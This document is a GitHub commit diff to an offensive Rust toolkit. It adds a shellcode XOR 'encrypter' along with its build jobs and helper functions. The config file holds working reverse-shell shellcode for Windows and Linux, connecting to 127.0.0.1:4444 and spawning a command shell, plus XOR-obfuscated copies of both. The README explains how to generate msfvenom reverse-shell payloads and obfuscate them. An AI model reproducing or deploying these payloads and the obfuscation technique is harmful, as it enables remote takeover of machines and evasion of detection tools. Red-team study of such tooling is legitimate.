Shellcode encrypter (#25)

* GH actions update

* new badge to track

* lock and toml

* new tool

* key and encrypted shellcode placeholders

* i missed the lock i guess

* slice xor function which will be needed for later tools

* shellcode XORer and printer

* slice length to generic function as a util

* extend shorter slice to be the same length as longer slice by repeating

* return both of the inputs for equalize to make it harder to misuse. return result (possible error) for xor to make it more clear what went wrong

* default key length ++ and version bump

* version bump

* better validation of input data
This commit is contained in:
kmanc
2022-01-30 09:48:32 -08:00
committed by GitHub
parent 3aca1b57e5
commit ada97f0b16
14 changed files with 178 additions and 4 deletions
+6
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@@ -0,0 +1,6 @@
{
"schemaVersion": 1,
"label": "xor_shellcode",
"message": "1.0.0",
"color": "blue"
}
+13
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@@ -49,6 +49,19 @@ jobs:
- name: Build process hollowing for Linux
run: cargo build -p process_hollowing --verbose
linux-xor_shellcode:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Update rust
run: rustup update
- name: Update cargo
run: cargo update
- name: Build xor shellcode for Linux
run: cargo build -p xor_shellcode --verbose
linux-all:
runs-on: ubuntu-latest
+24 -1
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@@ -73,4 +73,27 @@ jobs:
value: ${{ steps.process_hollowing_ver.outputs.app_version }}
- uses: stefanzweifel/git-auto-commit-action@v4
with:
commit_message: "Update process hollowing badge data via Github Action"
commit_message: "Update process hollowing badge data via Github Action"
update-xor-shellcode:
runs-on: ubuntu-latest
needs: update-process-hollowing
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.head_ref }}
- uses: dante-signal31/rust-app-version@v1.0.0
id: xor_shellcode_ver
with:
cargo_toml_folder: 'xor_shellcode/'
- name: Update xor_shellcode version
uses: jossef/action-set-json-field@v1
with:
file: '.custom_shields/xor_shellcode.json'
field: message
value: ${{ steps.xor_shellcode_ver.outputs.app_version }}
- uses: stefanzweifel/git-auto-commit-action@v4
with:
commit_message: "Update xor shellcode badge data via Github Action"
+19
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@@ -68,6 +68,25 @@ jobs:
- name: Build process hollowing for Windows
run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --verbose
windows-xor_shellcode:
runs-on: ubuntu-latest
steps:
- name: Update rust
run: rustup update
- name: Apt update
run: sudo apt-get update
- name: Install linker
run: sudo apt-get -y install mingw-w64
- name: Add Windows build target
run: rustup target add x86_64-pc-windows-gnu
- uses: actions/checkout@v2
- name: Update cargo
run: cargo update
- name: Build xor shellcode for Windows
run: cargo build -p xor_shellcode --target x86_64-pc-windows-gnu --verbose
windows-all:
runs-on: ubuntu-latest
Generated
+8
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@@ -131,3 +131,11 @@ name = "windows_x86_64_msvc"
version = "0.30.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "08cabc9f0066848fef4bc6a1c1668e6efce38b661d2aeec75d18d8617eebb5f1"
[[package]]
name = "xor_shellcode"
version = "1.0.0"
dependencies = [
"rco_config",
"rco_utils",
]
+1
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@@ -6,4 +6,5 @@ members = [
"tcp_reverse_shell",
"process_migration",
"process_hollowing",
"xor_shellcode",
]
+3 -1
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@@ -15,7 +15,9 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing)
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_shellcode.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_shellcode)
## Setup
+1 -1
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@@ -1,6 +1,6 @@
[package]
name = "rco_config"
version = "0.1.0"
version = "0.2.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
+8
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@@ -7,3 +7,11 @@ pub const LISTENER_PORT: u16 = 4444;
pub const WINDOWS_SHELLCODE: &[u8] = &[0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x01, 0x01, 0x00, 0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x49, 0xb8, 0x63, 0x6d, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0x0d, 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x66, 0xc7, 0x44, 0x24, 0x54, 0x01, 0x01, 0x48, 0x8d, 0x44, 0x24, 0x18, 0xc6, 0x00, 0x68, 0x48, 0x89, 0xe6, 0x56, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x49, 0xff, 0xc0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d, 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x79, 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0x0e, 0x41, 0xba, 0x08, 0x87, 0x1d, 0x60, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5];
// Shellcode for Linux targets
pub const LINUX_SHELLCODE: &[u8] = &[0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05, 0x48, 0x97, 0x48, 0xb9, 0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01, 0x51, 0x48, 0x89, 0xe6, 0x6a, 0x10, 0x5a, 0x6a, 0x2a, 0x58, 0x0f, 0x05, 0x6a, 0x03, 0x5e, 0x48, 0xff, 0xce, 0x6a, 0x21, 0x58, 0x0f, 0x05, 0x75, 0xf6, 0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48, 0x89, 0xe7, 0x52, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05];
// Key for XOR-encrypting shellcode
pub const XOR_KEY: &[u8] = &[0x01, 0x02, 0x03, 0x04, 0x05];
// XOR-encrypted shellcode for Windows targets
pub const ENCRYPTED_WINDOWS_SHELLCODE: &[u8] = &[0xfd, 0x4a, 0x80, 0xe5, 0xf2, 0xeb, 0xc1, 0x02, 0x03, 0x01, 0x43, 0x52, 0x40, 0x52, 0x51, 0x50, 0x54, 0x4b, 0x30, 0xd0, 0x66, 0x49, 0x89, 0x51, 0x61, 0x4a, 0x88, 0x53, 0x1a, 0x4b, 0x8a, 0x50, 0x23, 0x49, 0x89, 0x71, 0x51, 0x4a, 0x0c, 0xb6, 0x48, 0x49, 0x4c, 0x33, 0xca, 0x49, 0x33, 0xc3, 0xad, 0x3e, 0x62, 0x7d, 0x00, 0x2f, 0x21, 0x43, 0xc2, 0xc8, 0x0f, 0x42, 0x00, 0xc3, 0xe1, 0xec, 0x50, 0x42, 0x50, 0x4a, 0x88, 0x53, 0x22, 0x88, 0x43, 0x3e, 0x4b, 0x00, 0xd2, 0x88, 0x81, 0x8a, 0x03, 0x01, 0x02, 0x4b, 0x84, 0xc2, 0x77, 0x66, 0x4a, 0x02, 0xd1, 0x52, 0x88, 0x49, 0x1a, 0x47, 0x8a, 0x42, 0x23, 0x48, 0x03, 0xd3, 0xe2, 0x54, 0x4b, 0xfe, 0xcb, 0x42, 0x8a, 0x36, 0x8b, 0x49, 0x03, 0xd5, 0x4c, 0x33, 0xca, 0x49, 0x33, 0xc3, 0xad, 0x43, 0xc2, 0xc8, 0x0f, 0x42, 0x00, 0xc3, 0x3b, 0xe1, 0x77, 0xf2, 0x4d, 0x01, 0x4f, 0x25, 0x0a, 0x46, 0x38, 0xd3, 0x76, 0xd9, 0x5a, 0x47, 0x8a, 0x42, 0x27, 0x48, 0x03, 0xd3, 0x67, 0x43, 0x88, 0x0d, 0x4a, 0x47, 0x8a, 0x42, 0x1f, 0x48, 0x03, 0xd3, 0x40, 0x89, 0x07, 0x89, 0x4a, 0x02, 0xd1, 0x43, 0x5b, 0x40, 0x5a, 0x5d, 0x58, 0x58, 0x42, 0x59, 0x43, 0x5a, 0x40, 0x58, 0x4b, 0x82, 0xee, 0x23, 0x40, 0x50, 0xfc, 0xe1, 0x5a, 0x42, 0x58, 0x58, 0x4b, 0x8a, 0x10, 0xea, 0x56, 0xfd, 0xfc, 0xfe, 0x5f, 0x4a, 0xbf, 0x75, 0x70, 0x33, 0x5d, 0x30, 0x33, 0x02, 0x03, 0x40, 0x54, 0x4a, 0x88, 0xe4, 0x4b, 0x80, 0xee, 0xa3, 0x00, 0x02, 0x03, 0x48, 0x8b, 0xe6, 0x48, 0xbe, 0x01, 0x01, 0x13, 0x5f, 0x7e, 0x02, 0x03, 0x00, 0x43, 0x57, 0x48, 0x8b, 0xe7, 0x4d, 0x8b, 0xf2, 0x40, 0xb8, 0x4f, 0x76, 0x24, 0x04, 0xfe, 0xd7, 0x4f, 0x88, 0xe8, 0x6b, 0x00, 0x03, 0x03, 0x01, 0x5b, 0x42, 0xbb, 0x2b, 0x83, 0x6a, 0x02, 0xfc, 0xd4, 0x52, 0x53, 0x4c, 0x33, 0xca, 0x4c, 0x33, 0xc3, 0x49, 0xfd, 0xc3, 0x49, 0x8b, 0xc1, 0x49, 0xfd, 0xc3, 0x49, 0x8b, 0xc2, 0x40, 0xb8, 0xe9, 0x0e, 0xdd, 0xe3, 0xfe, 0xd7, 0x4b, 0x88, 0xc5, 0x69, 0x11, 0x43, 0x5b, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xfa, 0x40, 0xb8, 0x9a, 0xa4, 0x76, 0x62, 0xfe, 0xd7, 0x4b, 0x80, 0xc6, 0x43, 0x03, 0x02, 0x03, 0x48, 0xba, 0x60, 0x6c, 0x66, 0x03, 0x01, 0x02, 0x03, 0x01, 0x43, 0x53, 0x40, 0x52, 0x4b, 0x88, 0xe0, 0x54, 0x56, 0x55, 0x4e, 0x30, 0xc2, 0x69, 0x0c, 0x5b, 0x42, 0x51, 0xe0, 0xff, 0x67, 0xc5, 0x47, 0x25, 0x56, 0x02, 0x00, 0x4a, 0x8e, 0x45, 0x26, 0x1b, 0xc7, 0x02, 0x6b, 0x49, 0x8b, 0xe5, 0x57, 0x52, 0x42, 0x51, 0x43, 0x53, 0x40, 0x52, 0x4a, 0xfe, 0xc2, 0x42, 0x51, 0x4b, 0xfc, 0xc9, 0x4f, 0x8a, 0xc0, 0x4e, 0x8a, 0xc0, 0x43, 0xb9, 0x78, 0xce, 0x3c, 0x87, 0xfd, 0xd6, 0x49, 0x33, 0xd1, 0x49, 0xfd, 0xc9, 0x8a, 0x0c, 0x42, 0xbb, 0x0a, 0x84, 0x1c, 0x62, 0xfc, 0xd4, 0xb9, 0xf3, 0xb4, 0xa0, 0x55, 0x40, 0xb8, 0xa5, 0x94, 0xbf, 0x9e, 0xfe, 0xd7, 0x4b, 0x82, 0xc6, 0x2b, 0x3d, 0x04, 0x7f, 0x0b, 0x82, 0xf8, 0xe1, 0x77, 0x06, 0xba, 0x45, 0x10, 0x73, 0x6d, 0x69, 0x01, 0x5b, 0x42, 0x88, 0xd8, 0xfc, 0xd4];
// XOR-encrypted shellcode for Linux targets
pub const ENCRYPTED_LINUX_SHELLCODE: &[u8] = &[0x6b, 0x2b, 0x5b, 0x98, 0x68, 0x01, 0x5e, 0x68, 0x02, 0x5f, 0x0d, 0x06, 0x49, 0x95, 0x4b, 0xb8, 0x00, 0x03, 0x10, 0x5e, 0x7c, 0x01, 0x02, 0x02, 0x50, 0x4a, 0x8a, 0xe7, 0x68, 0x13, 0x5b, 0x68, 0x29, 0x59, 0x0d, 0x06, 0x6b, 0x01, 0x5d, 0x49, 0xfd, 0xcd, 0x6b, 0x23, 0x5b, 0x0e, 0x07, 0x76, 0xf7, 0x68, 0x38, 0x59, 0x9b, 0x4b, 0xba, 0x2d, 0x61, 0x68, 0x6c, 0x2c, 0x72, 0x6a, 0x03, 0x52, 0x4a, 0x8a, 0xe6, 0x50, 0x54, 0x49, 0x8b, 0xe5, 0x0e, 0x07];
+1 -1
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@@ -1,6 +1,6 @@
[package]
name = "rco_utils"
version = "0.1.0"
version = "0.2.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
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@@ -1,3 +1,5 @@
use std::error::Error;
// Taken from https://stackoverflow.com/questions/36669427/does-rust-have-a-way-to-convert-several-bytes-to-a-number
pub fn array_to_u32_big_end(array: &[u8; 4]) -> u32 {
(array[0] as u32) << 24 |
@@ -35,3 +37,21 @@ pub fn array_to_u64_lit_end(array: &[u8; 8]) -> u64 {
(array[6] as u64) << 48 |
(array[7] as u64) << 56
}
pub fn equalize_slice_len<T: std::clone::Clone>(slice_one: &[T], slice_two: &[T]) -> (Vec<T>, Vec<T>) {
if slice_one.len() > slice_two.len() {
(slice_one.to_vec(), slice_two.iter().cloned().cycle().take(slice_one.len()).collect())
} else {
(slice_one.iter().cloned().cycle().take(slice_two.len()).collect(), slice_two.to_vec())
}
}
pub fn xor_u8_slices(slice_one: &[u8], slice_two: &[u8]) -> Result<Vec<u8>, Box<dyn Error>> {
if slice_one.len() != slice_two.len() {
return Err("The given slices are not the same length".into());
}
Ok(slice_one.iter()
.zip(slice_two.iter())
.map(|(&x1, &x2)| x1 ^ x2)
.collect())
}
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@@ -0,0 +1,12 @@
[package]
name = "xor_shellcode"
version = "1.0.0"
edition = "2021"
authors = ["Kevin Conley <koins@duck.com>"]
rust-version = "1.58"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
rco_config = {path = "../rco_config"}
rco_utils = {path = "../rco_utils"}
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@@ -0,0 +1,28 @@
# RCO: XOR Shellcode
[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_shellcode.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_shellcode)
## How it works
XOR shellcode performs an [exclusive OR (XOR)](https://en.wikipedia.org/wiki/Exclusive_or) operation on each byte of the shellcode with each byte of the key (repeating the key if need be).
## Using it
1. Generate shellcode for the desired end result (for example, use [msfvenom](https://book.hacktricks.xyz/shells/shells/msfvenom) to generate a reverse TCP shell shellcode for the target operating system)
2. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the shellcode to the shellcode generated in step 1
3. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change the key to a desired key
4. Compile the executable
#### For Linux
```commandline
cargo build -p tcp_reverse_shell --release
```
#### For Windows
```commandline
cargo build --target x86_64-pc-windows-gnu -p tcp_reverse_shell --release
```
5. Run the executable
6. Open [the config file](https://github.com/kmanc/remote_code_oxidation/blob/master/rco_config/src/lib.rs) and change encrypted payload to the output of step 5
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fn main() {
let win_shellcode = rco_config::WINDOWS_SHELLCODE;
let lin_shellcode = rco_config::LINUX_SHELLCODE;
let key = rco_config::XOR_KEY;
let equalilzed = rco_utils::equalize_slice_len(key, win_shellcode);
let win_key: &[u8] = &equalilzed.0[..];
let win_shellcode: &[u8] = &equalilzed.1[..];
let win_output = rco_utils::xor_u8_slices(win_key, win_shellcode).unwrap();
let mut win_print = "".to_owned();
for byte in win_output.iter() {
let formatted = format!("{byte:#04x}, ");
win_print.push_str(&formatted);
}
win_print.pop();
win_print.pop();
println!("pub const ENCRYPTED_WINDOWS_SHELLCODE: &[u8] = &[{win_print}];");
println!();
let equalilzed = rco_utils::equalize_slice_len(key, lin_shellcode);
let lin_key: &[u8] = &equalilzed.0[..];
let lin_shellcode: &[u8] = &equalilzed.1[..];
let lin_output = rco_utils::xor_u8_slices(lin_key, lin_shellcode).unwrap();
let mut lin_print = "".to_owned();
for byte in lin_output.iter() {
let formatted = format!("{byte:#04x}, ");
lin_print.push_str(&formatted);
}
lin_print.pop();
lin_print.pop();
println!("pub const ENCRYPTED_LINUX_SHELLCODE: &[u8] = &[{lin_print}];");
}